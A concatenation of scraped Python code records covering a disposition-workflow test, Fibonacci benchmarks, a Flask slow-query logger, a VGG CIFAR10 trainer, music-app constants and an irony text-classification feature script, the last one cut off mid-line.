.having(archival_value=ARCHIVAL_VALUE_UNWORTHY))\n disposition = create(Builder('disposition')\n .having(dossiers=[dossier])\n .in_state('disposition-state-appraised'))\n api.content.transition(disposition,\n transition='disposition-transition-appraised-to-closed')\n\n activity = Activity.query.all()[-1]\n self.assertEquals('disposition-transition-appraised-to-closed', activity.kind)\n self.assertEquals(\n u'Disposition closed and all dossiers destroyed by {}'.format(\n self.actor_link),\n activity.summary)\n self.assertEquals(u'disposition-transition-appraised-to-closed', activity.label)\n self.assertIsNone(activity.description)\n\n def test_archive_activity_is_recorded(self):\n self.grant('Archivist')\n disposition = create(Builder('disposition')\n .in_state('disposition-state-disposed'))\n api.content.transition(disposition,\n transition='disposition-transition-archive')\n\n activity = Activity.query.all()[-1]\n self.assertEquals('disposition-transition-archive', activity.kind)\n self.assertEquals(\n u'The archiving confirmed by {}'.format(self.actor_link),\n activity.summary)\n self.assertEquals(u'disposition-transition-archive', activity.label)\n self.assertIsNone(activity.description)\n\n def test_close_activity_is_recorded(self):\n self.grant('Records Manager')\n disposition = create(Builder('disposition')\n .in_state('disposition-state-archived'))\n api.content.transition(disposition,\n transition='disposition-transition-close')\n\n activity = Activity.query.all()[-1]\n self.assertEquals('disposition-transition-close', activity.kind)\n self.assertEquals(\n u'Disposition closed and all dossiers '\n 'destroyed by {}'.format(self.actor_link), activity.summary)\n self.assertEquals(u'disposition-transition-close', activity.label)\n self.assertIsNone(activity.description)\n\n def test_refuse_activity_is_recorded(self):\n self.grant('Archivist')\n disposition = create(Builder('disposition')\n .in_state('disposition-state-disposed'))\n api.content.transition(disposition,\n transition='disposition-transition-refuse')\n\n activity = Activity.query.all()[-1]\n self.assertEquals('disposition-transition-refuse', activity.kind)\n self.assertEquals(\n u'Disposition refused by {}'.format(self.actor_link),\n activity.summary)\n self.assertEquals(u'disposition-transition-refuse', activity.label)\n self.assertIsNone(activity.description)\n","sub_path":"opengever/disposition/tests/test_activities.py","file_name":"test_activities.py","file_ext":"py","file_size_in_byte":7873,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"223893607","text":"import time\nfrom rcviz import viz\nfrom matplotlib import pyplot as plt\nfrom functools import lru_cache\n\n\ndef fib(n):\n result = [0, 1]\n if n > 1:\n for i in range(2, n + 1):\n result.append(result[i - 2] + result[i - 1])\n return result[n]\n\n\ndef fib_digit(n):\n result = [0, 1]\n if n > 1:\n for i in range(2, n + 1):\n result.append((result[i - 2] + result[i - 1]) % 10)\n return result[n]\n\n\ndef memo(f):\n cache = dict()\n\n def inner(n):\n if n not in cache:\n cache[n] = f(n)\n return cache[n]\n\n return inner\n\n\ndef fib_naive0(n):\n assert n >= 0\n return n if n <= 1 else fib_naive0(n - 1) + fib_naive0(n - 2)\n\n# @viz\n@memo\ndef fib_naive(n):\n assert n >= 0\n return n if n <= 1 else fib_naive(n - 1) + fib_naive(n - 2)\n\n\n@lru_cache(maxsize=None)\ndef fib_naive2(n):\n assert n >= 0\n return n if n <= 1 else fib_naive2(n - 1) + fib_naive2(n - 2)\n\n\ndef fib_iter(n):\n assert n >= 0\n f0, f1 = 0, 1\n for i in range(n - 1):\n f0, f1 = f1, f0 + f1\n return n if n <= 1 else f1\n\n\n# unsugared\ndef fib_iter2(n):\n assert n >= 0\n f0 = 0\n f1 = 1\n if n <= 1:\n return n\n while n > 1:\n n -= 1\n next_fib = f0 + f1\n f0 = f1\n f1 = next_fib\n return f1\n\n\ndef timed(f, *args, n_iter=100):\n acc = float(\"inf\")\n for _ in range(n_iter):\n t0 = time.perf_counter()\n f(*args)\n t1 = time.perf_counter()\n acc = min(acc, t1 - t0)\n return acc\n\n\ndef compare(fs, args):\n for f in fs:\n plt.plot(args, [timed(f, arg) for arg in args], label=f.__name__)\n plt.legend()\n plt.grid(True)\n plt.show()\n\ncompare([fib_naive0, fib_iter], list(range(20)))\n","sub_path":"intro/fib.py","file_name":"fib.py","file_ext":"py","file_size_in_byte":1725,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"286012447","text":"from flask import Flask,request,jsonify\nfrom ext import db\nfrom users import User\nimport logging\nfrom logging.handlers import RotatingFileHandler\nfrom flask_sqlalchemy import get_debug_queries\napp=Flask(__name__)\napp.config.from_object('config')\ndb.init_app(app)\n\nformatter=logging.Formatter(\n \"[%(asctime)s]{%(pathname)s:%(lineno)d} %(levelname)s-%(message)s\"\n)\nhandler=RotatingFileHandler('slow_query.log',maxBytes=10000,backupCount=10)\nhandler.setLevel(logging.WARN)\nhandler.setFormatter(formatter)\napp.logger.addHandler(handler)\nwith app.app_context():\n db.drop_all()\n db.create_all()\n\n@app.route('/users',methods=['GET'])\ndef users():\n username=request.form.get('name')\n print(username,\"22222222222222222222\")\n user=User(username)\n print('User id:{}'.format(user.id))\n\n db.session.add(user)\n db.session.commit()\n return jsonify({'id':user.id})\n@app.after_request\ndef after_request(response):\n for query in get_debug_queries():\n if query.duration>=app.config['DATABASE_QUERY_TIMEOUT']:\n app.logger.warn(\n ('Context:{}\\nSLOW QUERY:{}\\n Parameters:{}\\n'\n 'Duration: {}\\n'.format(query.context,query.statement,\n query.parameters,query.duration))\n )\n return response\nif __name__ == '__main__':\n app.run(port=9001)","sub_path":"chapter3/sql_alchemy/app_with_sqlalchmemy.py","file_name":"app_with_sqlalchmemy.py","file_ext":"py","file_size_in_byte":1352,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"206889953","text":"import numpy as np\nimport torch\nimport torch.functional as F\nfrom torch.autograd import Variable\nfrom torchvision.datasets import CIFAR10\nfrom torch import nn\n\n\ndef vgg_block(num_convs,in_channels,out_channels):\n net=[nn.Conv2d(in_channels,out_channels,kernel_size=3,padding=1),nn.ReLU(True)]\n for i in range(num_convs-1):\n net.append(nn.Conv2d(out_channels,out_channels,kernel_size=3,padding=1))\n net.append(nn.ReLU(True))\n net.append(nn.MaxPool2d(2,2))\n return nn.Sequential(*net)\n\nblock_demo=vgg_block(3,64,128)\n# print(block_demo)\ninput_demo = Variable(torch.zeros(1,64,300,300))\noutput_demo = block_demo(input_demo)\n# print(output_demo.shape)\n\ndef vgg_stack(num_convs, channels):\n net=[]\n for n,c in zip(num_convs,channels):\n in_c=c[0]\n out_c=c[1]\n net.append(vgg_block(n,in_c,out_c))\n return nn.Sequential(*net)\n\nvgg_net =vgg_stack((1,1,2,2,2),((3,64),(64,128), (128, 256), (256, 512), (512, 512)))\n\nclass vgg(nn.Module):\n def __init__(self):\n super(vgg,self).__init__()\n self.feature=vgg_net\n self.fc=nn.Sequential(\n nn.Linear(512, 100),\n nn.ReLU(True),\n nn.Linear(100, 10)\n )\n def forward(self, x):\n x = self.feature(x)\n x = x.view(x.shape[0], -1) # 拉平\n x = self.fc(x)\n return x\n\n\n\n\nfrom torch.utils.data import DataLoader\n\n\ndef data_tf(x):\n x = np.array(x, dtype='float32') / 255\n x = (x - 0.5) / 0.5 # 标准化,这个技巧之后会讲到\n x = x.transpose((2, 0, 1)) # 将 channel 放到第一维,只是 pytorch 要求的输入方式\n x = torch.Tensor(x)\n return x\n\n\ntrain_set = CIFAR10('./data', train=True, transform=data_tf,download=True)\ntrain_data = DataLoader(train_set, batch_size=4, shuffle=True)\ntest_set = CIFAR10('./data', train=False, transform=data_tf,download=True)\ntest_data = DataLoader(test_set, batch_size=128, shuffle=False)\n\nnet = vgg()\noptimizer = torch.optim.SGD(net.parameters(), lr=1e-1)\ncriterion = nn.CrossEntropyLoss()\n\n\nfrom torch.utils.trainer import Trainer\nfrom torch.utils.trainer.plugins import AccuracyMonitor, Logger\n\nT = Trainer(model=net, optimizer=optimizer, criterion=criterion, dataset=train_data)\nm = AccuracyMonitor()\nl = Logger([m.stat_name, 'accuracy.last'])\nT.register_plugin(m)\nT.register_plugin(l)\nT.run(epochs=2)\nprint(T.stats)\n","sub_path":"CNN/VGG.py","file_name":"VGG.py","file_ext":"py","file_size_in_byte":2365,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"335475070","text":"\nimport pathlib\nimport json\n#time converstion constants\nSECONDS_IN_MINUTE = 60\nMINUTES_IN_HOUR = 60\nMILLISECONDS_IN_SECOND = 1000\n\n#this sets up some directory constants\nROOT = pathlib.Path().absolute()\nMUSIC_FOLDER_NAME = \"music_files\"\nMUSIC_STORAGE_JSON_PATH = ROOT / \"music_storage.json\"\nMUSIC_FOLDER_PATH = ROOT / MUSIC_FOLDER_NAME\nTEMP_FOLDER_PATH = ROOT / \"temp\"\n#check to see if the music folder exists if not, then create it\nif(not MUSIC_FOLDER_PATH.exists()):\n MUSIC_FOLDER_PATH.mkdir()\n#check to see if the music_storage.json file exists, if not, then create it\nif(not MUSIC_STORAGE_JSON_PATH.exists()):\n json_storage = {}\n json_storage['songs'] = []\n json_storage['playLists'] = []\n json_storage['numberOfSongs'] = 0\n with open(MUSIC_STORAGE_JSON_PATH, 'w') as data_file:\n json.dump(json_storage, data_file, indent=4)","sub_path":"cow_music/constants.py","file_name":"constants.py","file_ext":"py","file_size_in_byte":853,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"382761101","text":"# -*- coding: utf-8 -*-\n#from ipdb import set_trace\nimport os\nimport numpy as np\nimport csv\nimport keras\nimport sklearn\nimport random\nimport sys\nimport miniball\nfrom keras.preprocessing.text import Tokenizer\nfrom sklearn.svm import LinearSVC\nfrom sklearn import linear_model\nfrom sklearn.grid_search import GridSearchCV\nfrom gensim.models.word2vec import Word2Vec\nimport codecs\nfrom sklearn.cross_validation import KFold\nimport pickle\nimport nltk\nimport itertools\nfrom scipy.spatial.distance import cosine\nfrom scipy.spatial.distance import euclidean\n#import matplotlib.pyplot as plt\n\ndef kfolds(n_folds,n_elements,val_set=False,shuffle=False): \n if val_set:\n assert n_folds>2\n\n X = np.arange(n_elements)\n if shuffle: random.shuffle(X) \n X = X.tolist()\n slice_size = n_elements // n_folds\n slices = [X[j*slice_size:(j+1)*slice_size] for j in range(n_folds)]\n #append the remaining elements to the last slice\n slices[-1] += X[n_folds*slice_size:]\n kf = []\n for i in range(len(slices)):\n train = slices[:] \n test = train.pop(i)\n if val_set:\n try:\n val = train.pop(i)\n except IndexError:\n val = train.pop(-1) \n #flatten the list of lists\n train = [item for sublist in train for item in sublist]\n kf.append([train,test,val])\n else:\n\n train = [item for sublist in train for item in sublist]\n kf.append([train,test])\n return kf\n\ndef biggest(ns,s,n):\n ''' determinar o maior de 3 valores: ns - num anotadores 'não sei', s - num anotadores 'sim', n - num anotadores 'não'\n '''\n Max = ns\n out = 'Não Sei'\n if s > Max:\n Max = s\n out = 'Sim' \n if n > Max:\n Max = n\n out = 'Não'\n if s > n:\n Max = s\n out = 'Sim'\n return out\n\ndef pmi(a, b, co_occurs):\n #This is overcounting the occurrences because if A co-occurs with B, then B also co-occurs with A \n # set_trace()\n total_occurs = sum([x['total_occurences'] for x in co_occurs.values() if x is not None])\n \n try:\n #P(a)\n p_a = co_occurs[a][\"total_occurences\"]*1.0 / total_occurs\n #P(b)\n p_b = co_occurs[b][\"total_occurences\"]*1.0 / total_occurs\n #Note: the co-occurrence data is indexed by the token found on text\n #whereas the co-occurence data in verbetes is indexed by official_name \n b_official_name = co_occurs[b][\"official_name\"]\n #P(a,b)\n p_a_b = co_occurs[a][\"verbetes\"][b_official_name]*1.0 / total_occurs\n except:\n print('EXCEPT ' +a + ' ' + b + ' no cooccurences ')\n return -1\n #PMI\n if p_a_b ==0:\n return -1\n \n if p_a == 0:\n return -1\n if p_b == 0:\n return -1\n \n pmi = np.log(p_a_b/(p_a*p_b))\n #Normalized PMI\n npmi = pmi/-np.log(p_a_b)\n \n #print a + ',' + b + '\\t' + str(npmi)\n return npmi\n\ndef getEntities(sent_dict, text):\n entities_per_title = [s['entities'] for s in sent_dict.values()]\n for ents in entities_per_title:\n i = 0\n for e in ents:\n if e in text:\n i+=1\n if i>0 and len(ents) > 0 and i == len(ents):\n return ents\n return []\n\nALLOWED_CHARS=[' ','-','/']\nEMBEDDINGS_PATH = \"DATA/embedding_features.pkl\"\ndef clean_word(word):\n return ''.join([c for c in word if (c in ALLOWED_CHARS or c.isalpha())]) \n\ndef pairwise_distances(title, wrd2idx, stop_words, distance=\"cosine\"): \n \"\"\"\n Compute the pairwise distances of words in literal titles\n \"\"\"\n #remove special chars\n clean_title = clean_word(title) \n #remove stop words \n clean_title = [w.strip() for w in clean_title.split() if w not in stop_words] \n #compute pairwise distances\n word_pairs = list(itertools.combinations(clean_title,2)) \n distances = []\n avg = 0\n std_dev = 0\n min_p = 0\n max_p = 0\n dif = 0\n for p in word_pairs:\n w1, w2 = p \n #if the words exist in the vocabulary\n if w1 in wrd2idx and w2 in wrd2idx: \n w1_emb = E[:,wrd2idx[w1]]\n w2_emb = E[:,wrd2idx[w2]] \n #distance to the zero vector is not defined \n if np.all(w1_emb==0) or np.all(w2_emb==0):\n continue\n else: \n if distance==\"cosine\":\n d = cosine(w1_emb,w2_emb) \n elif distance==\"euclid\":\n d = euclidean(w1_emb,w2_emb)\n else: \n raise NotImplementedError\n distances.append(d)\n if len(distances) > 0: \n avg = np.mean(distances)\n std_dev = np.std(distances)\n min_p = np.min(distances)\n max_p = np.max(distances)\n dif = max_p - min_p\n return avg, std_dev, min_p, max_p, dif\n\n# def visualize_coefficients(classifier, feature_names, fname, n_top_features=25):\n# # get coefficients with large absolute values \n# coef = classifier.coef_.ravel()\n# positive_coefficients = np.argsort(coef)[-n_top_features:]\n# negative_coefficients = np.argsort(coef)[:n_top_features]\n# interesting_coefficients = np.hstack([negative_coefficients, positive_coefficients])\n# # plot them\n# plt.figure(figsize=(15, 5))\n# colors = [\"red\" if c < 0 else \"blue\" for c in coef[interesting_coefficients]]\n# plt.bar(np.arange(2 * n_top_features), coef[interesting_coefficients], color=colors)\n# #feature_names = np.array(feature_names)\n# plt.subplots_adjust(bottom=0.3)\n# # plt.xticks(np.arange(1, 1 + 2 * n_top_features), feature_names[interesting_coefficients], rotation=60, ha=\"right\")\n# \n# plt.savefig(fname+'.png')\n# plt.clf()\n# plt.close()\n\ndef classify(sets, message, classifier = 'svm', extra = [], coef_flag=False, num_feat=0):\n c_range = [0.0001, 0.001, 0.01, 0.1, 1.0, 10, 100, 1000]\n \n if classifier == 'svm':\n method = \"Linear SVM\"\n elif classifier == 'regr':\n method = \"Logistic Regression\"\n \n log.write(\"\\nMethod = \" + method + \" \" + message + \"\\n\")\n acc = []\n pre = []\n rec = []\n f1s = []\n coef = []\n for set in sets:\n train_set = set[0]\n validation_set = set[2]\n test_set = set[1]\n \n ninety = train_set + validation_set\n \n #tokenizer = Tokenizer(nb_words=None, filters=keras.preprocessing.text.base_filter(), lower=True, split=\" \")\n tokenizer = Tokenizer(nb_words=None, lower=True, split=\" \")\n tokenizer.fit_on_texts(np.array(train_texts)[train_set]) \n train_matrix_fold = tokenizer.texts_to_matrix( np.array(train_texts)[train_set])\n train_labels_fold = train_labels[train_set]\n val_matrix_fold = tokenizer.texts_to_matrix( np.array(train_texts)[validation_set])\n val_labels_fold = train_labels[validation_set]\n #ninety_matrix_fold = tokenizer.texts_to_matrix( np.array(train_texts)[ninety])\n #ninety_labels_fold = train_labels[ninety]\n test_matrix_fold = tokenizer.texts_to_matrix( np.array(train_texts)[test_set])\n test_labels = train_labels[test_set]\n \n if len(extra) > 1:\n train_matrix_fold = np.hstack( (train_matrix_fold,extra[train_set]) )\n val_matrix_fold = np.hstack((val_matrix_fold, extra[validation_set]))\n test_matrix_fold = np.hstack((test_matrix_fold, extra[test_set]))\n\n best_c = 1.0\n best_f1 = 0.0\n for c in c_range:\n if classifier == 'svm':\n model = LinearSVC( random_state=0, C = c)\n elif classifier == 'regr':\n model = linear_model.LogisticRegression(C = c)\n model.fit( train_matrix_fold, train_labels_fold )\n results = model.predict(val_matrix_fold)\n f1 = sklearn.metrics.f1_score( val_labels_fold, results )\n if f1 > best_f1:\n best_c = c\n best_f1 = f1\n log.write('BEST C ' + str(best_c)+'\\tBEST F1 ' + str(best_f1)+'\\n') \n \n if classifier == 'svm':\n model = LinearSVC( random_state=0, C = best_c)\n elif classifier == 'regr':\n model = linear_model.LogisticRegression(C = best_c)\n #model.fit( ninety_matrix_fold , ninety_labels_fold )\n model.fit( train_matrix_fold , train_labels_fold ) \n results = model.predict(test_matrix_fold)\n acc.append(sklearn.metrics.accuracy_score( test_labels , results ))\n pre.append(sklearn.metrics.precision_score( test_labels, results ))\n rec.append(sklearn.metrics.recall_score( test_labels, results ))\n f1s.append(sklearn.metrics.f1_score( test_labels, results )) \n coef.append(model.coef_[0][-num_feat:])\n if coef_flag and num_feat > 0:\n log.write(\"Overall Feature Coef:\\n\"+str(coef)+'\\n\\n')\n #visualize_coefficients(model, None , classifier + ' ' + message, n_top_features=10)\n log.write(\"Overall avg accuracy: %.2f\\n\" % np.mean(acc))\n log.write(\"Overall results \" + str(np.mean(pre))+'\\t'+str(np.mean(rec))+'\\t'+str(np.mean(f1s))+'\\n')\n\ntry:\n log = codecs.open(\"_log_feature_eng_imparity.txt\",\"w\",\"utf-8\")\n # log = sys.stdout\n \n log.write(\"Reading pre-trained word embeddings...\\n\")\n embeddings_dim = 800\n embeddings = dict( )\n embeddings = Word2Vec.load_word2vec_format( \"DATA/publico_800.txt\" , binary=False )\n \n log.write(\"Reading affective dictionary and training regression model for predicting valence, arousal and dominance...\\n\")\n affective = dict( )\n for row in csv.DictReader(open(\"Irony Text Classification/Ratings_Warriner_et_al_translated.csv\")): affective[ row[\"Word\"].lower() ] = np.array( [ float( row[\"V.Mean.Sum\"] ) , float( row[\"A.Mean.Sum\"] ) , float( row[\"D.Mean.Sum\"] ) ] )\n #for row in csv.DictReader(open(\"Irony Text Classification/13428_2011_131_MOESM1_ESM.csv\")): affective[ row[\"EP-Word\"].lower() ] = np.array( [ float( row[\"Val-M\"] ) , float( row[\"Arou-M\"] ) , float( row[\"Dom-M\"] ) ] )\n train_matrix = [ ]\n train_labels = [ ]\n for word,scores in affective.items():\n try: \n train_matrix.append( embeddings[word] )\n train_labels.append( scores )\n except: continue\n # remove line below (in order to debug the code faster, I'm limiting the number of words that are used in the regression models... remove when performing tests)\n #if len( train_matrix ) > 500 : break\n train_matrix = np.array( train_matrix )\n train_labels = np.array( train_labels )\n\n log.write(\"Reading text data for classification and building representations...\\n\")\n # increase the number of features to 25000 (this corresponds to the number of words in the vocabulary... increase while you have enough memory, and its now set to 20 in order to debug the code faster)\n #max_features = 25000\n max_features = 25000\n maxlen = 50\n lbl_size = 0\n data = []\n \n num_imparity = 1133\n imp = 0\n n_imp = 0\n \n for row in csv.DictReader(open('DATA/data_all.csv', 'rU') , delimiter = '\\t'):\n if int(row['num_de_anotadores_total']) > 0 and int(row['Imparidade']) > 0 and imp < num_imparity:\n data.append((row['texto'].lower(),1))\n imp+=1\n elif int(row['Imparidade']) == 0 and n_imp < num_imparity:\n data.append((row['texto'].lower(),0))\n n_imp+=1\n# if row['fonte'] == 'Público':\n# data.append((row['texto'].lower(),0))\n# elif row['fonte'] == 'Inimigo Público':\n# data.append((row['texto'].lower(),1))\n\n #data = data[0:500] \n #data = data[0:2000] \n random.shuffle(data)\n #train_size = int(len(data) * 0.8)\n train_texts = [ txt for ( txt, label ) in data[0:len(data)-1] ]\n# test_texts = [ txt for ( txt, label ) in data[train_size:-1] ]\n train_labels = [ label for ( txt , label ) in data[0:len(data)-1] ]\n# test_labels = [ label for ( txt , label ) in data[train_size:-1] ]\n\n# cc = {w:None for t in train_texts+test_texts for w in t.split()}\n cc = {w:None for t in train_texts for w in t.split()}\n max_features = len(cc.keys())\n # tokenizer = Tokenizer(nb_words=max_features, filters=keras.preprocessing.text.base_filter(), lower=True, split=\" \")\n tokenizer = Tokenizer(nb_words=max_features, lower=True, split=\" \")\n tokenizer.fit_on_texts(train_texts)\n train_matrix = tokenizer.texts_to_matrix( train_texts )\n# test_matrix = tokenizer.texts_to_matrix( test_texts )\n embedding_weights = np.zeros( ( max_features , embeddings_dim ) )\n affective_weights = np.zeros( ( max_features , 3 ) )\n for word,index in tokenizer.word_index.items():\n try: \n if not affective.has_key(word) : affective[word] = np.array( model.predict( np.array( embeddings[word] ).reshape(1, -1) )[0] )\n except: affective[word] = np.array( [ 5.0 , 5.0 , 5.0 ] )\n if index < max_features:\n try: \n embedding_weights[index,:] = embeddings[word]\n affective_weights[index,:] = affective[word]\n except: \n embedding_weights[index,:] = np.random.rand( 1 , embeddings_dim )\n affective_weights[index,:] = [ 5.0 , 5.0 , 5.0 ] \n log.write(\"Computing features based on semantic volume...\\n\")\n# train_features = np.zeros( ( train_matrix.shape[0] , 1 ) ) \n# test_features = np.zeros( ( test_matrix.shape[0] , 1 ) )\n train_features_semantic_vol = np.zeros( ( train_matrix.shape[0] , 1 ) )\n for i in range( train_features_semantic_vol.shape[0] ):\n aux = [ ]\n for word in train_texts[i].split(\" \"):\n try: aux.append( embeddings[word] )\n except: continue\n if len( aux ) > 0 : train_features_semantic_vol[i,0] = miniball.Miniball( np.array( aux ) ).squared_radius()\n# for i in range( test_features.shape[0] ):\n# aux = [ ] \n# for word in test_texts[i].split(\" \"): \n# try: aux.append( embeddings[word] )\n# except: continue \n# if len( aux ) > 0 : test_features[i,0] = miniball.Miniball( np.array( aux ) ).squared_radius()\n \n log.write(\"Computing features based on affective scores...\\n\")\n train_features_avg = np.zeros( ( train_matrix.shape[0] , 3 ) ) \n# test_features_avg = np.zeros( ( test_matrix.shape[0] , 3 ) )\n train_features_stdev = np.zeros( ( train_matrix.shape[0] , 3 ) )\n# test_features_stdev = np.zeros( ( test_matrix.shape[0] , 3 ) )\n train_features_min = np.zeros( ( train_matrix.shape[0] , 3 ) )\n# test_features_min = np.zeros( ( test_matrix.shape[0] , 3 ) )\n train_features_max = np.zeros( ( train_matrix.shape[0] , 3 ) )\n# test_features_max = np.zeros( ( test_matrix.shape[0] , 3 ) )\n train_features_dif = np.zeros( ( train_matrix.shape[0] , 3 ) )\n# test_features_dif = np.zeros( ( test_matrix.shape[0] , 3 ) )\n train_features_seq = np.zeros( ( train_matrix.shape[0] , 2 ) )\n# test_features_seq = np.zeros( ( test_matrix.shape[0] , 2 ) )\n for i in range( train_matrix.shape[0] ):\n aux = [ ]\n for word in train_texts[i].split(\" \"):\n try: aux.append( affective[word] )\n except: continue\n if len( aux ) > 0 : \n train_features_avg[i,0] = np.average( np.array( aux ) )\n train_features_stdev[i,0] = np.std( np.array( aux ) )\n train_features_min[i,0] = np.min( np.array( aux ) )\n train_features_max[i,0] = np.max( np.array( aux ) )\n train_features_dif[i,0] = np.max( np.array( aux ) ) - np.min( np.array( aux ) )\n# for i in range( test_matrix.shape[0] ):\n# aux = [ ]\n# for word in test_texts[i].split(\" \"):\n# try: aux.append( affective[word] )\n# except: continue\n# if len( aux ) > 0 : \n# test_features_avg[i,0] = np.average( np.array( aux ) )\n# test_features_stdev[i,0] = np.std( np.array( aux ) )\n# test_features_min[i,0] = np.min( np.array( aux ) ) \n# test_features_max[i,0] = np.max( np.array( aux ) )\n# test_features_dif[i,0] = np.max( np.array( aux ) ) - np.min( np.array( aux ) )\n for i in range( train_matrix.shape[0] ):\n train_features_seq[i] = [0,0]\n prev = -1\n for word in train_texts[i].split(\" \"):\n try: \n if( prev != -1 and ( ( prev < 5.0 and affective[word][0] > 5.0 ) or ( prev > 5.0 and affective[word][0] < 5.0 ) ) ): train_features_seq[i][0] += 1.0\n if( prev != -1 and abs( prev - affective[word][0] ) > 3.0 ): train_features_seq[i][1] += 1.0\n prev = affective[word][0]\n except: prev = -1\n# for i in range( test_matrix.shape[0] ):\n# test_features_seq[i] = [0,0]\n# prev = -1\n# for word in test_texts[i].split(\" \"):\n# try:\n# if( prev != -1 and ( ( prev < 5.0 and affective[word][0] > 5.0 ) or ( prev > 5.0 and affective[word][0] < 5.0 ) ) ): test_features_seq[i][0] += 1.0\n# if( prev != -1 and abs( prev - affective[word][0] ) > 3.0 ): test_features_seq[i][1] += 1.0 \n# prev = affective[word][0]\n# except: prev = -1\n \n log.write(\"Computing Sentilex features...\\n\")\n # total number of potentially positive words, negative words and dif.\n with open('DATA/sentilex.pkl',\"rb\") as sentilex:\n sent_dict = pickle.load(sentilex)\n train_features_pos = np.zeros( ( train_matrix.shape[0] , 1 ) )\n train_features_neg = np.zeros( ( train_matrix.shape[0] , 1 ) )\n #train_features_sent_dif = np.zeros( ( train_matrix.shape[0] , 1 ) )\n# test_features_pos = np.zeros( ( test_matrix.shape[0] , 1 ) )\n# test_features_neg = np.zeros( ( test_matrix.shape[0] , 1 ) )\n #test_features_sent_dif = np.zeros( ( test_matrix.shape[0] , 1 ) )\n for i in range( train_matrix.shape[0] ):\n neg = 0\n pos = 0\n w = 0\n for word in train_texts[i].split(\" \"):\n w+=1\n if word in sent_dict.keys():\n if sent_dict[word]=='NEG':\n neg+=1\n if sent_dict[word]=='POS':\n pos+=1\n train_features_pos[i,0] = pos / w\n train_features_neg[i,0] = neg / w\n# for i in range( test_matrix.shape[0] ):\n# neg = 0\n# pos = 0\n# w = 0\n# for word in test_texts[i].split(\" \"):\n# w+=1\n# if word in sent_dict.keys():\n# if sent_dict[word]=='NEG':\n# neg+=1\n# if sent_dict[word]=='POS':\n# pos+=1\n# test_features_pos[i,0] = pos / w\n# test_features_neg[i,0] = neg / w\n \n #janelas de tamanho variavel\n # contraste de valence (0 a 9)\n log.write(\"Computing Arousal Contrast Sliding Window features ...\\n\")\n val_dif = 3.5\n train_features_ac_w1 = np.zeros( ( train_matrix.shape[0] , 1 ) )\n train_features_ac_w2 = np.zeros( ( train_matrix.shape[0] , 1 ) )\n train_features_ac_w3 = np.zeros( ( train_matrix.shape[0] , 1 ) )\n train_features_ac_w4 = np.zeros( ( train_matrix.shape[0] , 1 ) )\n train_features_ac_w5 = np.zeros( ( train_matrix.shape[0] , 1 ) )\n for i in range( train_matrix.shape[0] ):\n arousals = []\n for word in train_texts[i].split(\" \"):\n if word in affective:\n arousals.append(affective[word][1]) #arousal is index 1\n else:\n arousals.append(0)\n for x in [arousals[i:i+2] for i in range(len(arousals)-1)]: \n if x[0] > 0 and x[1] > 0 and abs(x[0]-x[1]) > val_dif:\n train_features_ac_w1[i,0] +=1\n for x in [arousals[i:i+3] for i in range(len(arousals)-1)]: \n val_interest = [i for i in x if i>0]\n if len(val_interest)>=2:\n for a,b in itertools.combinations(val_interest, 2):\n if abs(a-b)>val_dif:\n train_features_ac_w2[i,0] +=1 /len(x)\n for x in [arousals[i:i+4] for i in range(len(arousals)-1)]: \n val_interest = [i for i in x if i>0]\n if len(val_interest)>=2:\n for a,b in itertools.combinations(val_interest, 2):\n if abs(a-b)>val_dif:\n train_features_ac_w3[i,0] +=1 / len(x)\n for x in [arousals[i:i+5] for i in range(len(arousals)-1)]: \n val_interest = [i for i in x if i>0]\n if len(val_interest)>=2:\n for a,b in itertools.combinations(val_interest, 2):\n if abs(a-b)>val_dif:\n train_features_ac_w4[i,0] +=1 / len(x)\n for x in [arousals[i:i+6] for i in range(len(arousals)-1)]: \n val_interest = [i for i in x if i>0]\n if len(val_interest)>=2:\n for a,b in itertools.combinations(val_interest, 2):\n if abs(a-b)>val_dif:\n train_features_ac_w5[i,0] +=1 / len(x)\n# test_features_ac_w1 = np.zeros( ( test_matrix.shape[0] , 1 ) )\n# test_features_ac_w2 = np.zeros( ( test_matrix.shape[0] , 1 ) )\n# test_features_ac_w3 = np.zeros( ( test_matrix.shape[0] , 1 ) )\n# test_features_ac_w4 = np.zeros( ( test_matrix.shape[0] , 1 ) )\n# test_features_ac_w5 = np.zeros( ( test_matrix.shape[0] , 1 ) )\n# for i in range( test_matrix.shape[0] ):\n# arousals = []\n# for word in test_texts[i].split(\" \"):\n# if word in affective:\n# arousals.append(affective[word][1]) #arousal is index 1\n# else:\n# arousals.append(0)\n# for x in [arousals[i:i+2] for i in range(len(arousals)-1)]: \n# if x[0] > 0 and x[1] > 0 and abs(x[0]-x[1]) > val_dif:\n# test_features_ac_w1[i,0] +=1\n# for x in [arousals[i:i+3] for i in range(len(arousals)-1)]: \n# val_interest = [i for i in x if i>0]\n# if len(val_interest)>=2:\n# for a,b in itertools.combinations(val_interest, 2):\n# if abs(a-b)>val_dif:\n# test_features_ac_w2[i,0] +=1 /len(x)\n# for x in [arousals[i:i+4] for i in range(len(arousals)-1)]: \n# val_interest = [i for i in x if i>0]\n# if len(val_interest)>=2:\n# for a,b in itertools.combinations(val_interest, 2):\n# if abs(a-b)>val_dif:\n# test_features_ac_w3[i,0] +=1 / len(x)\n# for x in [arousals[i:i+5] for i in range(len(arousals)-1)]: \n# val_interest = [i for i in x if i>0]\n# if len(val_interest)>=2:\n# for a,b in itertools.combinations(val_interest, 2):\n# if abs(a-b)>val_dif:\n# test_features_ac_w4[i,0] +=1 / len(x)\n# for x in [arousals[i:i+6] for i in range(len(arousals)-1)]: \n# val_interest = [i for i in x if i>0]\n# if len(val_interest)>=2:\n# for a,b in itertools.combinations(val_interest, 2):\n# if abs(a-b)>val_dif:\n# test_features_ac_w5[i,0] +=1 / len(x)\n \n #janelas de tamanho variavel\n # contraste de valence (0 a 9)\n log.write(\"Computing Valence Contrast Sliding Window features ...\\n\")\n val_dif = 3.5\n train_features_vc_w1 = np.zeros( ( train_matrix.shape[0] , 1 ) )\n train_features_vc_w2 = np.zeros( ( train_matrix.shape[0] , 1 ) )\n train_features_vc_w3 = np.zeros( ( train_matrix.shape[0] , 1 ) )\n train_features_vc_w4 = np.zeros( ( train_matrix.shape[0] , 1 ) )\n train_features_vc_w5 